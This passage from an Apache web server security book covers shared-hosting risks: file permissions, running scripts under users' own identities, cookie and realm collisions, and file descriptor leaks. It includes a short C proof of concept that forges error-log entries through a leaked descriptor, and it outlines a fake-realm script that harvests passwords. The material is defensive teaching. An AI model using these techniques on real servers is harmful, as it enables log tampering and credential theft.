Team LiB
Previous Section Next Section

6.1. Sharing Problems

Many problems can arise when resources are shared among a group of users:

  • File permission problems

  • Dynamic-content problems

  • Resource-sharing problems on the server

  • Domain name-sharing problems (which affect cookies and authentication)

  • Information leaks on execution boundaries

6.1.1. File Permission Problems

When a server is shared among many users, it is common for each user to have a seperate account. Users typically work with files directly on the system (through a shell of some kind) or manipulate files using the FTP protocol. Having all users use just one web server causes the first and most obvious issue: problems with file permissions.

Users expect and require privacy for their files. Therefore, file permissions are used to protect files from being accessed by other users. Since Apache is effectively just another user (I assume httpd in this book), allowances must be made for Apache to access the files that are to be published on the Web. This is a common requirement. Other daemons (Samba and FTPD come to mind) fulfill the same requirements. These daemons initially run as root and switch to the required user once the user authenticates. From that moment on, the permission problems do not exist since the process that is accessing the files is the owner of the files.

When it comes to Apache, however, two facts complicate things. For one, running Apache as root is heavily frowned upon and normally not possible. To run Apache as root, you must compile from the source, specifying a special compile-time option. Without this, the main Apache process cannot change its identity into another user account. The second problem comes from HTTP being a stateless protocol. When someone connects to an FTP server, he stays connected for the length of the session. This makes it easy for the FTP daemon to keep one dedicated process running during that time and avoid file permission problems. But with any web server, one process accessing files belonging to user X now may be accessing the files belonging to user Y the next second.

Like any other user, Apache needs read access for files in order to serve them and execute rights to execute scripts. For folders, the minimum privilege required is execute, though read access is needed if you want directory listings to work. One way to achieve this is to give the required access rights to the world, as shown in the following example:

# chmod 701 /home/ivanr
# find /home/ivanr/public_html -type f | xargs chmod 644
# find /home/ivanr/public_html -type d | xargs chmod 755

But this is not very secure. Sure, Apache would get the required access, but so would anyone else with a shell on the server. Then there is another problem. Users' public web folders are located inside their home folders. To get into the public web folder, limited access must be allowed to the home folder as well. Provided only the execute privilege is given, no one can list the contents of the home folder, but if they can guess the name of a private file, they will be able to access it in most cases. In a way, this is like having a hole in the middle of your living room and having to think about not falling through every day. A safer approach is to use group membership. In the following example, it is assumed Apache is running as user httpd and group httpd, as described in Chapter 2:

# chgrp httpd /home/ivanr
# chmod 710 /home/ivanr
# chown -R ivanr:httpd /home/ivanr/public_html
# find /home/ivanr/public_html -type f | xargs chmod 640
# find /home/ivanr/public_html -type d | xargs chmod 2750

This permission scheme allows Apache to have the required access but is much safer than the previous approach since only httpd has access. Forget about that hole in your living room now. The above also ensures any new folders and files created under the user's public web folder will belong to the httpd group.

Some people believe the public web folder should not be underneath users' home folders. If you are one of them, nothing stops you from creating a separate folder hierarchy (for example /www/users) exclusively for user public web folders. A symbolic link will create the setup transparent for most users:

# ln -s /www/users/ivanr/public_html /home/ivanr/public_html

One problem you will encounter with this is that suEXEC (described later in this chapter) will stop working for user directories. This is because it only supports public directories that are beneath users' home directories. You will have to customize it and make it work again or have to look into using some of the other execution wrappers available.

6.1.1.1 Keeping permissions correct

The permission problem usually does not exist in shared hosting situations where FTP is exclusively used to manipulate files. FTP servers can be configured to assign the appropriate group ownership and access rights.

On some systems, the default setting for umask is 002, which is too relaxed and results in creating group-writable files. This translates to Apache being able to write to files in the public web folder. Using umask 022 is much safer. The correct umask must be configured separately for the web server (possibly in the apachectl script), the FTP server (in its configuration file) and for shell access. (On my system, the default umask for shell access is configured in /etc/bashrc.)

If your users have a way of changing file ownership and permissions (through FTP, shell access, or some kind of web-based file manager), consider installing automatic scripts to periodically check for permission problems and correct them. Manual inspection is better, but automatic correction may be your only option if you have many users. If you do opt for automatic correction, be sure to leave a way for advanced users to opt out. A good way to do this is to have automated scripts look for a file with a special name (e.g., .disable-permission-fixing) and not make changes if that file exists.

6.1.1.2 Virtual filesystems for users

To achieve maximum security you can resort to creating virtual filesystems for users, and then use the chroot(2) function to isolate them there. Your FTP daemon is probably configured to do this, so you are half-way there anyway. With virtual filesystems deployed, each user will be confined within his own space, which will appear to him as the complete filesystem. The process of using chroot(2) to isolate virtual filesystems is simpler than it may appear. The approach is the same as in Chapter 2, where I showed how to isolate the Apache server. You have to watch for the following:

  • Maintaining many virtual filesystems can be difficult. You can save a lot of time by creating a single template filesystem and using a script to update all the instances.

  • Virtual filesystems may grow in size, and creating copies of the same files for all users results in a lot of wasted space. To save space, you can create hard links from the template filesystem to virtual filesystems. Again, this is something a script should do for you. Working with hard links can be very tricky because many backup programs do not understand them. (GNU tar works fine.) Also, if you want to update a file in the template, you will have to either delete it in all virtual filesystems and re-create hard links or not delete the original file in the first place but just truncate it and insert the new contents.

  • Ensure the CGI scripts are properly jailed prior to execution. If your preferred wrapper is suEXEC, you will have to patch it (since suEXEC does not normally have chroot(2) support).

  • Apache will be the only program running across virtual filesystems. The virtual system approach will work only if your users cannot use symbolic links or their .htaccess files (e.g., using mod_rewrite) to access files outside their own little territories.

6.1.2. Dynamic-Content Problems

If all users had were static files, the file permission problem I just described would be something we could live with. Static files are easy to handle. Apache only needs to locate a file on disk, optionally perform access control, and send the file verbatim to the HTTP client. But the same root cause (one Apache running for different users) creates an even bigger problem when it comes to dynamic content.

Dynamic content is created on the fly, by executing scripts (or programs) on the server. Users write scripts and execute them as the Apache user. This gives the users all the privileges the Apache user account has. As pointed out in the previous section, Apache must be able to read users' files to serve them, and this is not very dangerous for static content. But with dynamic content, suddenly, any user can read any other users' web files. You may argue this is not a serious problem. Web files are supposed to be shared, right? Not quite. What if someone implemented access controls on the server level? And what if someone reads the credentials used to access a separate database account?

Other things can go wrong, too. One httpd process can control other httpd processes running on the same server. It can send them signals and, at the very least, kill them. (That is a potential for denial of service.) Using a process known as ptrace, originally designed for interactive debugging, one process can attach to another, pause it, read its data, and change how it operates, practically hijacking it. (See "Runtime Process Infection" at http://www.phrack.org/phrack/59/p59-0x08.txt to learn more about how this is done.) Also, there may be shared memory segments with permissions that allow access.

Of course, the mere fact that some untrusted user can upload and execute a binary on the server is very dangerous. The more users there are, the more dangerous this becomes. Users could exploit a vulnerability in a suid binary if it is available to them, or they could exploit a vulnerability in the kernel. Or, they could create and run a server of their own, using an unprivileged high port.

No comprehensive solution exists for this problem at this time. All we have is a series of partial solutions, each with its own unique advantages and disadvantages. Depending on your circumstances, you may find some of these partial solutions adequate.

All approaches to solving the single web server user problem have a serious drawback. Since the scripts then run as the user who owns the content, that means executed scripts now have write privileges wherever the user has write privileges. It is no longer possible to control script write access easily.


I have provided a summary of possible solutions in Table 6-1. Subsequent sections provide further details.

Table 6-1. Overview of secure dynamic-content solutions

Solution

Advantages

Disadvantages

Execution wrappers: suEXEC, CGIWrap, SBOX

  • Secure

  • Mature

  • Works only for CGI scripts

  • Reduced performance

FastCGI protocol

  • Fast

  • Secure

  • Mature

  • Works only for dynamic content

  • Not all technologies support the protocol

Per-request change of Apache identity: mod_become, mod_diffprivs, mod_suid, mod_suid2

  • Gets the job done

  • Reduced performance

  • Apache must run as root

Perchild MPM and Metux MPM

  • On the right track, aiming to be a complete solution

  • Potentially fast and secure

  • Perchild MPM has been abandoned

  • Metux MPM not stable yet

Running multiple Apache instances

  • Fast

  • Secure

  • Requires at least one IP address per user, or a central proxy in front

  • Increased memory consumption

  • Possibly increased management overhead

  • Not suitable for mass hosting


6.1.2.1 Execution wrappers

Increased security through execution wrappers is a hybrid security model. Apache runs as a single user when working with static content, switching to another user to execute dynamic requests. This approach solves the worst part of the problem and makes users' scripts run under their respective accounts. It does not attempt to solve the problem with filesystem privileges, which is the smaller part of the whole problem.

One serious drawback to this solution is the reduced performance, especially compared to the performance of Apache modules. First, Apache must start a new process for every dynamic request it handles. Second, since Apache normally runs as httpd and only root can change user identities, Apache needs help from a specialized suid binary. Apache, therefore, starts the suid binary first, telling it to run the user's script, resulting in two processes executed for every dynamic HTTP request.

There are three well-known suid execution wrappers:

I strongly favor the suEXEC approach since it comes with Apache and integrates well with it. (suEXEC is described later in this chapter.) The other two products offer chroot(2) support but that can also be achieved with a patch to suEXEC. The other two products are somewhat more flexible (and thus work where suEXEC would not) since suEXEC comes with a series of built-in, nonconfigurable restrictions.

6.1.2.2 FastCGI

FastCGI (http://www.fastcgi.com) is a language-independent protocol that basically serves as an extension to CGI and allows a request to be sent to a separate process for processing. This process can be on the same machine or on a separate server altogether. It is a stable and mature technology. The interesting thing about the protocol is that once a process that handles requests is created, it can remain persistent to handle subsequent requests. This removes the biggest problem we have with the execution wrapper approach. With FastCGI, you can achieve processing speeds practically identical to those of built-in Apache modules.

On the Apache side, FastCGI is implemented with the mod_fastcgi module. The increased performance does not mean reduced security. In fact, mod_fastcgi can be configured to use an execution wrapper (e.g., suEXEC) to start scripts, allowing scripts to run under their own user accounts.

Thus, FastCGI can be viewed as an improvement upon the execution wrapper approach. It has the same disadvantage of only working for dynamic resources but the benefit of achieving greater speeds. The flexibility is somewhat reduced, though, because FastCGI must be supported by the application. Though many technologies support it (C, Java, Perl, Python, PHP, etc.), some changes to scripts may be required. (FastCGI is described later in this chapter.)

6.1.2.3 Per-request change of Apache identity

In previous sections, I mentioned Apache running as a non-root user as a barrier to switching user identities. One way to solve the problem is with execution wrappers. The other way is to run Apache as root. How bad could this be? As I mentioned, other daemons are doing the same. It comes down to whether you are prepared to accept the additional risk of running a public service as root. You may be already doing something like that when you are accepting mail via SMTP. But other daemons are carefully developed applications that do not execute code that cannot be fully trusted, as is the case with Apache and with other users' scripts. In my opinion, there is nothing fundamentally wrong running Apache as root, provided you are absolutely certain about what you are doing and you make sure you are not providing your users with additional privileges that can be abused.

On many Unix systems the special root privileges are fixed and cannot be removed. Some systems, on the other hand, support a new security model where privileges can be assigned independently and at will. Consequently, this model makes it possible to have a root process that is stripped of its "super powers." Or the opposite, have a non-root process that has selected privileges required for its operation. If your system supports such features, you do not have to run Apache as root to allow it to change its identity.

If you decide to try it, recompile Apache with -DBIG_SECURITY_HOLE, and choose from several third-party suid modules:

Running as root allows Apache to change its identity to that of another user, but that is only one part of the problem. Once one Apache process changes from running as root to running as (for example) ivanr, there is no way to go back to being root. Also, because of the stateless nature of the HTTP protocol, there is nothing else for that process to do but die. As a consequence, the HTTP Keep-Alive functionality must be turned off and each child must be configured to serve only one request and then shut down (MaxRequestsPerChild 1). This will affect performance but less than when using execution wrappers.

Would it be smarter to keep that Apache process running as ivanr around for later when the next request to run a script as ivanr arrives? It would be, and that is what the two projects I describe in the next section are doing.

6.1.2.4 Perchild MPM and Metux MPM

The Apache 2 branch was intended to have the advanced running-as-actual-user capabilities from day one. This was the job of the mod_perchild module. The idea was simple: instead of switching the whole of Apache to run as root, have one simple process running as root and give it the job of creating other non-root processes as required. When a request for the user ivanr came in, Apache would look to see if any processes were running as ivanr. If not, a new process would be created. If so, the request would be forwarded to the existing process. It sounds simple but mod_perchild never achieved stability.

There is an ongoing effort to replace mod_perchild with equivalent functionality. It is called Metux MPM (http://www.metux.de/mpm/), and there is some talk about the possibility of Metux MPM going into the official Apache code tree, but at the time of this writing it isn't stable either.

The approach used by Perchild MPM and Metux MPM is the only comprehensive solution for the identity problem. I have no doubt a stable and secure solution will be achieved at some point in the future, at which time this long discussion about user identity problems will become a thing of the past.

6.1.2.5 Multiple Apache instances

One solution to the web server identity problem is to run multiple instances of the Apache web server, each running under its own user account. It is simple, fast, secure, and easy to implement. It is a solution I would choose in most cases. Naturally, there are some problems you will need to overcome.

It is not suitable for mass hosting, where the number of domains per server is in the hundreds or thousands. Having a thousand independent processes to configure and maintain is much more difficult than just one. Also, since a couple of processes must be permanently running for each hosting account, memory requirements are likely to be prohibitive.

Having accepted that this solution is only feasible for more intimate environments (e.g., running internal web applications securely), you must consider possible increased consumption of IP addresses. To have several Apache web servers all run on port 80 (where they are expected to run), you must give them each a separate IP address. I don't think this is a big deal for a few web applications. After all, if you do want to run the applications securely, you will need to have SSL certificates issued for them, and each separate SSL web site requires a separate IP address anyway.

Even without having the separate IP addresses it is still possible to have the Apache web server run on other ports but tunnel access to them exclusively through a master Apache instance running as a reverse proxy on port 80. There may be some performance impact there but likely not much, especially with steady increases of mod_proxy stability and performance.

Other advantages of running separate Apache instances are discussed in Chapter 9.

6.1.3. Sharing Resources

Continuing on the subject of having httpd execute the scripts for all users, the question of shared server resources arises. If httpd is doing all the work, then there is no way to differentiate one user's script from another's. If that's impossible, we cannot control who is using what and for how long. You have two choices here: one is to leave a single httpd user in place and let all users use the server resources as they please. This will work only until someone starts abusing the system, so success basically depends on your luck.

A better solution is to have users' scripts executed under their own user accounts. If you do this, you will be able to take advantage of the traditional Unix controls for access and resource consumption.

6.1.4. Same Domain Name Problems

When several parties share a domain name, certain problems cannot be prevented, but you should at least be aware that they exist. These are problems with the namespace: If someone controls a fraction of a domain name, he can control it all.

6.1.4.1 Fake security realms

According to the HTTP specification, in Basic authentication (described in Chapter 7), a domain name and a realm name form a single protection space. When the domain name is shared, nothing prevents another party from claiming a realm name that already exists. If that happens, the browser will, assuming the same protection realm already exists, send them the cached set of credentials. The username and the password are practically sent in plaintext in Basic authentication (see Chapter 7). An exploit could function along the following lines:

  • A malicious script is installed to claim the same realm name as the one that already exists on the same server and to record all usernames and passwords seen. To lower the chances of being detected, the script redirects the user back to the original realm.

  • Users may stumble onto the malicious script by mistake; to increase the chances of users visiting the script, the attacker can try to influence their actions by putting links (pointing to the malicious script) into the original application. (For example, in the case of a public forum, anyone can register and post messages.) If the application is a web mail application, the attacker can simply send users email messages with links. It is also possible, though perhaps slightly more involved, to attempt to exploit a cross site-scripting flaw in the application to achieve the same result and send users to the malicious script.

Unlike other situations where SSL resolves most Basic authentication vulnerabilities, encrypting traffic would not help here.

When Digest authentication is used, the protection space is explicitly attached to the URL, and that difference makes Digest authentication invulnerable to this problem. The attacker's approach would not work anyway since, when Digest authentication is used, the credentials are never sent in plaintext.

6.1.4.2 Cookie namespace collisions

Each cookie belongs to a namespace, which is defined by the cookie domain name and path. (Read RFC 2965, "HTTP State Management Mechanism," at http://www.ietf.org/rfc/rfc2965.txt, for more details.) Even if the domain name is the same for the target and the attacker, if a proper path is assigned to the cookie by the target, no collisions can take place. Actually, no exploitable collisions can take place. The adversary can still inject a cookie into the application, but that is only a more complicated way of doing something that is possible anyway. The gain in the type of attack discussed here comes from being able to receive someone else's cookie.

However, most application pages are written for execution on a single domain name, so programmers do not pay much attention to the value of the cookie path; it usually has a / value, which means it will be sent with any requests anywhere on the domain name. If those who deploy applications do not pay attention either, a potential for compromise will occur.

For example, in PHP, the session-handling module is configured to send session cookies with path set to / by default. This means that if a user is redirected to some other part of the same domain name, his session ID will be collected from the cookie, and the session can be hijacked. To prevent session cookie leaks, the PHP configuration variable session.cookie_path should be set to the correct prefix for each application or user sharing the domain name.

6.1.5. Information Leaks on Execution Boundaries

On Unix, when a web server needs to execute an external binary, it does not do that directly. The exec( ) system call, used to execute binaries, works by replacing the current process with a new process (created from a binary). So, the web server must first execute fork( ) to clone itself and then make the exec( ) call from the child instance. The parent instance keeps on working. As you would expect, cloning creates two identical copies of the initial process. This means that both processes have the same environment, permissions, and open file descriptors. All these extra privileges must be cleaned up before the control is given to some untrusted binary running as another user. (You need to be aware of the issue of file descriptor leaks but you do not need to be concerned with the cleanup process itself.) If cleaning is not thorough enough, a rogue CGI script can take control over resources held by the parent process.

If this seems too vague, examine the following vulnerabilities:

When a file descriptor is leaked, the child process can do anything it wants with it. If a descriptor points to a log file, for example, the child can write to it and fake log entries. If a descriptor is a listening socket, the child can hijack the server.

Information leaks of this kind can be detected using the helper tool env_audit (http://www.web-insights.net/env_audit/). The tool is distributed with extensive documentation, research, and recommendations for programmers. To test Apache and mod_cgi, drop the binary into the cgi-bin folder and invoke it as a CGI script using a browser. The output will show the process information, environment details, resource limits, and a list of open descriptors. The mod_cgi output shows only three file descriptors (one for stdin, stdout, and stderr), which is how it should be:

Open file descriptor: 0
User ID of File Owner: httpd
Group ID of File Owner: httpd
Descriptor is stdin.
No controlling terminal
File type: fifo, inode - 1825, device - 5
The descriptor is: pipe:[1825]
File descriptor mode is: read only
   
----
Open file descriptor: 1
User ID of File Owner: httpd
Group ID of File Owner: httpd
Descriptor is stdout.
No controlling terminal
File type: fifo, inode - 1826, device - 5
The descriptor is: pipe:[1826]
File descriptor mode is: write only
   
----
Open file descriptor: 2
User ID of File Owner: httpd
Group ID of File Owner: httpd
Descriptor is stderr.
No controlling terminal
File type: fifo, inode - 1827, device - 5
The descriptor is: pipe:[1827]
File descriptor mode is: write only

As a comparison, examine the output from executing a binary from mod_php. First, create a simple file (e.g., calling it env_test.php) containing the following to invoke the audit script (adjust the location of the binary if necessary):

<?
system("/usr/local/apache/cgi-bin/env_audit");
echo("Done.");
?>

Since the audit script does not know it was invoked through the web server, the results will be stored in the file /tmp/env_audit0000.log. In my output, there were five descriptors in addition to the three expected (and shown in the mod_cgi output above). The following are fragments of the output I received. (Descriptor numbers may be different in your case.)

Here is the part of the output that shows an open descriptor 3, representing the socket listening on (privileged) port 80:

Open file descriptor: 3
User ID of File Owner: root
Group ID of File Owner: root
WARNING - Descriptor is leaked from parent.
File type: socket
Address Family: AF_INET
Local address: 0.0.0.0
Local Port: 80, http
NOTICE - connected to a privileged port
WARNING - Appears to be a listening descriptor - WAHOO!
Peer address: UNKNOWN
File descriptor mode is: read and write

In the further output, descriptors 4 and 5 were pipes used for communication with the CGI script, and descriptor 8 represented one open connection from the server to a client. But descriptors 6 and 7 are of particular interest because they represent the error log and the access log, respectively:

Open file descriptor: 6
User ID of File Owner: root
Group ID of File Owner: root
WARNING - Descriptor is leaked from parent.
File type: regular file, inode - 426313, device - 2050
The descriptor is: /usr/local/apache/logs/error_log
File's actual permissions: 644
File descriptor mode is: write only, append
   
----
Open file descriptor: 7
User ID of File Owner: root
Group ID of File Owner: root
WARNING - Descriptor is leaked from parent.
File type: regular file, inode - 426314, device - 2050
The descriptor is: /usr/local/apache/logs/access_log
File's actual permissions: 644
File descriptor mode is: write only, append

Exploiting the leakages is easy. For example, compile and run the following program (from the PHP script) instead of the audit utility. (You may need to change the descriptor number from 6 to the value you got for the error log in your audit report.)

#define ERROR_LOG_FD 6
int main(  ) {
    char *msg = "What am I doing here?\n";
    write(ERROR_LOG_FD, msg, strlen(msg));
}

As expected, the message will appear in the web server error log! This means anyone who can execute binaries from PHP can fake messages in the access log and the error log. They could use this ability to plant false evidence against someone else into the access log, for example. Because of the nature of the error log (it is often used as stderr for scripts), you cannot trust it completely, but the ability to write to the access log is really dangerous. Choosing not to use PHP as a module, but to execute it through suEXEC instead (as discussed later in this chapter) avoids this problem.

Any of the active Apache modules can cause a file descriptor leak. You should test your final configuration to determine whether any leaks occur.


    Team LiB
    Previous Section Next Section